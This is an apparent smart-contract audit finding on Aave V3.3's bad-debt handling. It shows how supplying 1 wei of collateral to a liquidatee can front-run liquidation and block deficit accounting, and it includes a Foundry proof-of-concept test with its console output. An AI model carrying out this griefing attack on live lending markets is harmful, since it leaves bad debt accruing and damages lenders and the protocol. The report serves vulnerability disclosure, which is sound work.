Able Jade Bear

Medium

# Bad debt handling logic trigger is too strict, even 1 wei of collateral can prevent it from happening


### Summary

In Aave V3.3, the bad debt handling logic is introduced: Whenever liquidating a position, if the user has no collateral left, all remaining debt position is turned into deficit. The deficit does not accrue fees and is independently stored in `reserve.deficit` data. Check [docs](https://github.com/aave-dao/aave-v3-origin/blob/094e6ec662703dec3ce5f9749527a01dbcbc1c97/docs/3.3/Aave-v3.3-features.md#1-bad-debt-management) for more details.

The issue here is, bad debt handling always requires user collateral to be **exactly** zero. This is too strict, and could easily be frontrun by anyone, by transferring 1 wei of collateral to the liquidatee to prevent the bad debt handling logic from executing.

Also, by leaving 1 wei as collateral, no liquidator would be incentivized to perform liquidation due to gas cost, thus bad debt would not be handled.

### Root Cause

The check for bad debt handling requires the user's totalCollateral in base currency (which has 8 decimals) to be **exactly** equal to the user's total collateral.

https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L357-L358

```solidity
    bool hasNoCollateralLeft = vars.totalCollateralInBaseCurrency ==
      vars.collateralToLiquidateInBaseCurrency;
```

Since base currency has 8 decimals, for 1 wei USDC, the `totalCollateralInBaseCurrency` would be 100 (base currency has 8 decimals). This means, for any user that faces a bad debt liquidation:

1. Attackers can frontrun bad debt liquidation by transferring/supplying 1 wei USDC to the user, and prevent bad debt handling logic.
2. Attackers can prepare 1 wei of all existing reserves and transfer/supply to the user. No one would be incentivized to liquidate a collateral with only 1 wei.

Note that these are both grief attacks. Attackers don't gain profit themselves, but they can prevent the bad debt logic from working normally.

Also, it should be noted that by transferring/supplying tokens to other users, as long as they aren't in isolation mode, the token would automatically enable as collateral, as seen in the logic here: https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/SupplyLogic.sol#L76-L86

```solidity
  function executeSupply(
    mapping(address => DataTypes.ReserveData) storage reservesData,
    mapping(uint256 => address) storage reservesList,
    DataTypes.UserConfigurationMap storage userConfig,
    DataTypes.ExecuteSupplyParams memory params
  ) external {
    ...

    bool isFirstSupply = IAToken(reserveCache.aTokenAddress).mint(
      msg.sender,
      params.onBehalfOf,
      params.amount,
      reserveCache.nextLiquidityIndex
    );

    if (isFirstSupply) {
      if (
@>      ValidationLogic.validateAutomaticUseAsCollateral(
          reservesData,
          reservesList,
          userConfig,
          reserveCache.reserveConfiguration,
          reserveCache.aTokenAddress
        )
      ) {
@>      userConfig.setUsingAsCollateral(reserve.id, true);
        emit ReserveUsedAsCollateralEnabled(params.asset, params.onBehalfOf);
      }
    }

    emit Supply(params.asset, msg.sender, params.onBehalfOf, params.amount, params.referralCode);
  }
```

### Internal pre-conditions

1. A user has a low health factor, and may face full liquidation to generate bad debt.

### External pre-conditions

None required.

### Attack Path

1. Attackers can frontrun bad debt liquidation by transferring/supplying 1 wei USDC to the user, and prevent bad debt handling logic.
2. Attackers can prepare 1 wei of all existing reserves and transfer/supply to the user. No one would be incentivized to liquidate a collateral with only 1 wei.

### Impact

Bad debt handling logic would not be triggered, and these bad debt would keep on accruing interest.

### PoC

Add the following code to `Pool.Liquidations.t.sol`. What it does is the following:

1. Alice creates a position of collateral=0.5e8 WBTC, debt=11000e6 USDX. Initially, WBTC price = 27000e8, USDX price = 1e8.
2. WBTC price drops 40% to 16200e8, and the position can be liquidated.
3. Attacker frontruns liquidation and supplies 1 wei USDX to user.
4. Fully liquidate position with collateralToken=WBTC, debtToken=USDX. However, due to the 1 wei USDX on step 3, bad debt logic is not triggered.
5. User now has 1 wei USDX as collateral. No one would be incentivized to liquidate such position.


```solidity
  function test_poc_deposit_dust_dos_bad_debt_clearing() public {
    uint256 borrowAmount = 11000e6;

    // Step 1: Collateral = 0.5e8 WBTC, Debt = 11000e6 USDX
    vm.startPrank(alice);
    contracts.poolProxy.supply(tokenList.wbtc, 0.5e8, alice, 0);
    contracts.poolProxy.setUserUseReserveAsCollateral(tokenList.wbtc, true);
    contracts.poolProxy.borrow(tokenList.usdx, borrowAmount, 2, 0, alice);
    vm.stopPrank();

    console.log("> Initial price:");
    console.log("wbtc price =", IAaveOracle(report.aaveOracle).getAssetPrice(tokenList.wbtc));
    console.log("usdx price =", IAaveOracle(report.aaveOracle).getAssetPrice(tokenList.usdx));

    // Step 2: WBTC Price drops by 40%. 27000 -> 16200.
    LiquidationInput memory params = _loadLiquidationInput(
      alice,
      tokenList.wbtc,
      tokenList.usdx,
      UINT256_MAX,
      tokenList.wbtc,
      40_00
    );

    console.log("> Current price:");
    console.log("wbtc price =", IAaveOracle(report.aaveOracle).getAssetPrice(tokenList.wbtc));
    console.log("usdx price =", IAaveOracle(report.aaveOracle).getAssetPrice(tokenList.usdx));

    (, , address varDebtToken) = contracts.protocolDataProvider.getReserveTokensAddresses(
      params.debtAsset
    );
    uint256 userDebtBefore = IERC20(varDebtToken).balanceOf(params.user);
    uint256 liquidatorBalanceBefore;
    if (params.receiveAToken) {
      (address atoken, , ) = contracts.protocolDataProvider.getReserveTokensAddresses(
        params.collateralAsset
      );
      liquidatorBalanceBefore = IERC20(atoken).balanceOf(bob);
    } else {
      liquidatorBalanceBefore = IERC20(params.collateralAsset).balanceOf(bob);
    }

    // Step 3: Output logs before liquidation.
    {
      console.log("> Before liquidation:");
      (
        uint totalCollateralInBaseCurrency,
        uint totalDebtInBaseCurrency,
        ,
        ,
        ,
        uint healthFactor
      ) = contracts.poolProxy.getUserAccountData(params.user);
      console.log("totalCollateralInBaseCurrency, totalDebtInBaseCurrency, healthFactor =", totalCollateralInBaseCurrency, totalDebtInBaseCurrency, healthFactor);
    }

    // Step 4: Carol frontruns the liquidation and supply 1 wei USDX to alice.
    vm.startPrank(poolAdmin);
    usdx.mint(carol, 1);
    vm.stopPrank();
    vm.startPrank(carol);
    contracts.poolProxy.supply(tokenList.usdx, 1, alice, 0);
    vm.stopPrank();

    // Step 5: Liquidate coll=WBTC, debt=USDX position.
    vm.prank(bob);
    contracts.poolProxy.liquidationCall(
      params.collateralAsset,
      params.debtAsset,
      params.user,
      params.liquidationAmountInput,
      params.receiveAToken
    );

    _afterLiquidationChecksVariable(params, bob, liquidatorBalanceBefore, userDebtBefore);

    // Step 6: Output logs after liquidation: Alice still has 100 `totalCollateralInBaseCurrency` and deficit was not created due to Carol's frontrun.
    {
      console.log("> After liquidation");
      (
        uint totalCollateralInBaseCurrency,
        uint totalDebtInBaseCurrency,
        ,
        ,
        ,
        uint healthFactor
      ) = contracts.poolProxy.getUserAccountData(params.user);
      console.log("totalCollateralInBaseCurrency, totalDebtInBaseCurrency, healthFactor =", totalCollateralInBaseCurrency, totalDebtInBaseCurrency, healthFactor);
    }
  }
```

Console output is the following. We can see that the bad debt handling logic did not trigger, and user still has 100 wei of `totalCollateralInBaseCurrency`, due to the 1 wei USDX deposit.

```bash
Ran 1 test for tests/protocol/pool/Pool.Liquidations.t.sol:PoolLiquidationTests
[PASS] test_poc_deposit_dust_dos_bad_debt_clearing() (gas: 1003843)
Logs:
  > Initial price:
  wbtc price = 2700000000000
  usdx price = 100000000
  > Current price:
  wbtc price = 1620000000000
  usdx price = 100000000
  > Before liquidation:
  totalCollateralInBaseCurrency, totalDebtInBaseCurrency, healthFactor = 810000000000 1100000000000 633272727272727273
  > After liquidation
  totalCollateralInBaseCurrency, totalDebtInBaseCurrency, healthFactor = 100 328571428600 261739130

```

### Mitigation

Loosen the collateral requirement for bad debt handling.